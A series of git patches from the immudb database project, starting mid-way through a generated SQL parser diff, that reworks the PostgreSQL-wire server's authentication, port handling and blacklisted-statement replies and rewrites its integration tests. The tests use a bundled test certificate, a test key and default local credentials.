139: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 138: + case 140: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 139: + case 141: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 140: + case 142: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 141: + case 143: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 142: + case 144: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 143: + case 145: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 144: + case 146: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 145: + case 147: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 146: + case 148: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 147: + case 149: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 148: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 149: + case 151: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 150: + case 152: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 151: + case 153: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 152: + case 154: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 153: + case 155: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 154: + case 156: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 155: + case 157: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} From 744764c3e11b425076049e8423c418e1c8bbddf3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Oct 2023 15:05:40 +0200 Subject: [PATCH 0903/1062] chore(pkg/server): set dynamic immudb server port in pgsql server Signed-off-by: Jeronimo Irazabal --- pkg/server/server.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/server.go b/pkg/server/server.go index cd1676a64a..b924cdbeb6 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -253,7 +253,7 @@ func (s *ImmuServer) Initialize() error { s.PgsqlSrv = pgsqlsrv.New( pgsqlsrv.Host(s.Options.Address), pgsqlsrv.Port(s.Options.PgsqlServerPort), - pgsqlsrv.ImmudbPort(s.Options.Port), + pgsqlsrv.ImmudbPort(s.Listener.Addr().(*net.TCPAddr).Port), pgsqlsrv.TLSConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger), pgsqlsrv.DatabaseList(s.dbList), From 2ee79af63a6489385414683c65183c92fcddfd3e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Oct 2023 15:06:54 +0200 Subject: [PATCH 0904/1062] chore(pkg/pgsql): protocol enhancements Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/errors/errors.go | 2 +- pkg/pgsql/server/initialize_session.go | 46 ++++++++++---------- pkg/pgsql/server/query_machine.go | 58 +++++++++++++------------- 3 files changed, 54 insertions(+), 52 deletions(-) diff --git a/pkg/pgsql/errors/errors.go b/pkg/pgsql/errors/errors.go index 040026be47..3f790cf9e7 100644 --- a/pkg/pgsql/errors/errors.go +++ b/pkg/pgsql/errors/errors.go @@ -29,7 +29,7 @@ var ErrDBNotprovided = errors.New("database name not provided") var ErrUsernameNotprovided = errors.New("user name not provided") var ErrPwNotprovided = errors.New("password not provided") var ErrDBNotExists = errors.New("selected db doesn't exists") -var ErrUsernameNotFound = errors.New("user not found") +var ErrInvalidUsernameOrPassword = errors.New("invalid user name or password") var ErrExpectedQueryMessage = errors.New("expected query message") var ErrUseDBStatementNotSupported = errors.New("SQL statement not supported") var ErrSSLNotSupported = errors.New("SSL not supported") diff --git a/pkg/pgsql/server/initialize_session.go b/pkg/pgsql/server/initialize_session.go index 205e6b971f..48ccacb061 100644 --- a/pkg/pgsql/server/initialize_session.go +++ b/pkg/pgsql/server/initialize_session.go @@ -161,32 +161,31 @@ func (s *session) HandleStartup(ctx context.Context) (err error) { return err } - if pw, ok := msg.(fm.PasswordMsg); ok { - if !ok || pw.GetSecret() == "" { - return pserr.ErrPwNotprovided - } + pw, ok := msg.(fm.PasswordMsg) + if !ok || pw.GetSecret() == "" { + return pserr.ErrPwNotprovided + } - opts := client.DefaultOptions(). - WithAddress(s.immudbHost). - WithPort(s.immudbPort). - WithDisableIdentityCheck(true) + opts := client.DefaultOptions(). + WithAddress(s.immudbHost). + WithPort(s.immudbPort). + WithDisableIdentityCheck(true) - s.client = client.NewClient().WithOptions(opts) + s.client = client.NewClient().WithOptions(opts) - err := s.client.OpenSession(ctx, []byte(user), []byte(pw.GetSecret()), db) - if err != nil { - return err - } + err = s.client.OpenSession(ctx, []byte(user), []byte(pw.GetSecret()), db) + if err != nil { + return err + } - s.client.CurrentState(context.Background()) + s.client.CurrentState(context.Background()) - sessionID := s.client.GetSessionID() - s.ctx = metadata.NewIncomingContext(context.Background(), metadata.Pairs("sessionid", sessionID)) + sessionID := s.client.GetSessionID() + s.ctx = metadata.NewIncomingContext(context.Background(), metadata.Pairs("sessionid", sessionID)) - s.log.Debugf("authentication successful for %s", user) - if _, err := s.writeMessage(bm.AuthenticationOk()); err != nil { - return err - } + s.log.Debugf("authentication successful for %s", user) + if _, err := s.writeMessage(bm.AuthenticationOk()); err != nil { + return err } if _, err := s.writeMessage(bm.ParameterStatus([]byte("standard_conforming_strings"), []byte("on"))); err != nil { @@ -213,5 +212,10 @@ func parseProtocolVersion(payload []byte) string { func (s *session) Close() error { s.mr.CloseConnection() - return s.client.CloseSession(s.ctx) + + if s.client != nil { + return s.client.CloseSession(s.ctx) + } + + return nil } diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index ea6238f14e..9d4c1cb37e 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -86,40 +86,34 @@ func (s *session) QueryMachine() error { var resCols []*schema.Column var stmt sql.SQLStmt - if s.isInBlackList(v.Statements) { - _, err := s.writeMessage(bm.ParseComplete()) + if !s.isInBlackList(v.Statements) { + stmts, err := sql.Parse(strings.NewReader(v.Statements)) if err != nil { waitForSync = extQueryMode + s.HandleError(err) + continue } - continue - } - stmts, err := sql.Parse(strings.NewReader(v.Statements)) - if err != nil { - waitForSync = extQueryMode - s.HandleError(err) - continue - } - - // Note: as stated in the pgsql spec, the query string contained in a Parse message cannot include more than one SQL statement; - // else a syntax error is reported. This restriction does not exist in the simple-query protocol, but it does exist - // in the extended protocol, because allowing prepared statements or portals to contain multiple commands would - // complicate the protocol unduly. - if len(stmts) > 1 { - waitForSync = extQueryMode - s.HandleError(pserr.ErrMaxStmtNumberExceeded) - continue - } - if len(stmts) == 0 { - waitForSync = extQueryMode - s.HandleError(pserr.ErrNoStatementFound) - continue - } + // Note: as stated in the pgsql spec, the query string contained in a Parse message cannot include more than one SQL statement; + // else a syntax error is reported. This restriction does not exist in the simple-query protocol, but it does exist + // in the extended protocol, because allowing prepared statements or portals to contain multiple commands would + // complicate the protocol unduly. + if len(stmts) > 1 { + waitForSync = extQueryMode + s.HandleError(pserr.ErrMaxStmtNumberExceeded) + continue + } + if len(stmts) == 0 { + waitForSync = extQueryMode + s.HandleError(pserr.ErrNoStatementFound) + continue + } - if paramCols, resCols, err = s.inferParamAndResultCols(stmts[0]); err != nil { - waitForSync = extQueryMode - s.HandleError(err) - continue + if paramCols, resCols, err = s.inferParamAndResultCols(stmts[0]); err != nil { + waitForSync = extQueryMode + s.HandleError(err) + continue + } } _, err = s.writeMessage(bm.ParseComplete()) @@ -258,13 +252,17 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N } if s.isInBlackList(statements) { - return nil + _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))) + return err } if i := s.isEmulableInternally(statements); i != nil { if err := s.tryToHandleInternally(i); err != nil && err != pserr.ErrMessageCannotBeHandledInternally { return err } + + _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))) + return err } stmts, err := sql.Parse(strings.NewReader(statements)) From bb09ce5880ba310c1982a88f4626257c7221d200 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Oct 2023 15:07:27 +0200 Subject: [PATCH 0905/1062] test(pkg/pgsql): integration tests Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/pgsql_integration_test.go | 832 +++++++++++++++------ pkg/pgsql/server/query_machine_test.go | 2 +- 2 files changed, 606 insertions(+), 228 deletions(-) diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index 553e024fb4..a48bf9aadc 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -24,7 +24,6 @@ import ( "fmt" "math/rand" "os" - "sync" "testing" "time" @@ -32,26 +31,41 @@ import ( "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" "github.com/codenotary/immudb/pkg/server" - "github.com/codenotary/immudb/pkg/server/servertest" "github.com/jackc/pgx/v4" - "github.com/lib/pq" - _ "github.com/lib/pq" + pq "github.com/lib/pq" + "github.com/stretchr/testify/require" ) func TestPgsqlServer_SimpleQuery(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -71,17 +85,33 @@ func TestPgsqlServer_SimpleQuery(t *testing.T) { func TestPgsqlServer_SimpleQueryBlob(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -107,17 +137,33 @@ func TestPgsqlServer_SimpleQueryBlob(t *testing.T) { func TestPgsqlServer_SimpleQueryBool(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -138,17 +184,33 @@ func TestPgsqlServer_SimpleQueryBool(t *testing.T) { func TestPgsqlServer_SimpleQueryExecError(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) _, err = db.Exec("ILLEGAL STATEMENT") @@ -157,17 +219,33 @@ func TestPgsqlServer_SimpleQueryExecError(t *testing.T) { func TestPgsqlServer_SimpleQueryQueryError(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() @@ -176,17 +254,33 @@ func TestPgsqlServer_SimpleQueryQueryError(t *testing.T) { func TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() - bs.WaitForPgsqlListener() + defer os.Remove(".state-") - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() @@ -195,17 +289,33 @@ func TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) { func TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - bs.WaitForPgsqlListener() + err := srv.Initialize() + if err != nil { + panic(err) + } - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=notexists password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=notexists password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() @@ -214,36 +324,68 @@ func TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) { func TestPgsqlServer_SimpleQueryQueryMissingUsername(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - bs.WaitForPgsqlListener() + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() - require.ErrorContains(t, err, errors.ErrUsernameNotFound.Error()) + require.ErrorContains(t, err, errors.ErrInvalidUsernameOrPassword.Error()) } func TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - bs.WaitForPgsqlListener() + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() @@ -252,18 +394,34 @@ func TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) { func TestPgsqlServer_SimpleQueryQueryClosedConnError(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) - bs.Stop() err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() require.Error(t, err) @@ -271,17 +429,33 @@ func TestPgsqlServer_SimpleQueryQueryClosedConnError(t *testing.T) { func TestPgsqlServer_SimpleQueryTerminate(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() - bs.WaitForPgsqlListener() + defer os.Remove(".state-") - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -304,17 +478,33 @@ func TestPgsqlServer_SimpleQueryTerminate(t *testing.T) { func TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -334,21 +524,38 @@ func TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) { func TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) _, err = db.Exec("CREATE DATABASE db") - require.Error(t, err) + require.NoError(t, err) + _, err = db.Exec("USE DATABASE db") require.ErrorContains(t, err, errors.ErrUseDBStatementNotSupported.Error()) @@ -356,17 +563,33 @@ func TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing. func TestPgsqlServer_SimpleQueryQueryExecError(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - bs.WaitForPgsqlListener() + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -392,6 +615,7 @@ NDUzgg4xMjcuMC4wLjE6NTQ1MzAKBggqhkjOPQQDAgNIADBFAiEA2zpJEPQyz6/l Wf86aX6PepsntZv2GYlA5UpabfT2EZICICpJ5h/iI+i341gBmLiAFQOyTDT+/wQc 6MF9+Yw1Yy0t -----END CERTIFICATE-----`) + keyPem := []byte(`-----BEGIN EC PRIVATE KEY----- MHcCAQEEIIrYSSNQFaA2Hwf1duRSxKtLYX5CB04fSeQ6tF1aY/PuoAoGCCqGSM49 AwEHoUQDQgAEPR3tU2Fta9ktY+6P9G0cWO+0kETA6SFs38GecTyudlHz6xvCdz8q @@ -400,39 +624,73 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== cert, err := tls.X509KeyPair(certPem, keyPem) require.NoError(t, err) + cfg := &tls.Config{Certificates: []tls.Certificate{cert}} - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0).WithTLS(cfg) - bs := servertest.NewBufconnServer(options) + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false). + WithTLS(cfg) - bs.Start() - defer bs.Stop() + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - defer os.Remove(".state-") + err = srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() + _, err = db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) } func TestPgsqlServer_SSLNotEnabled(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb", 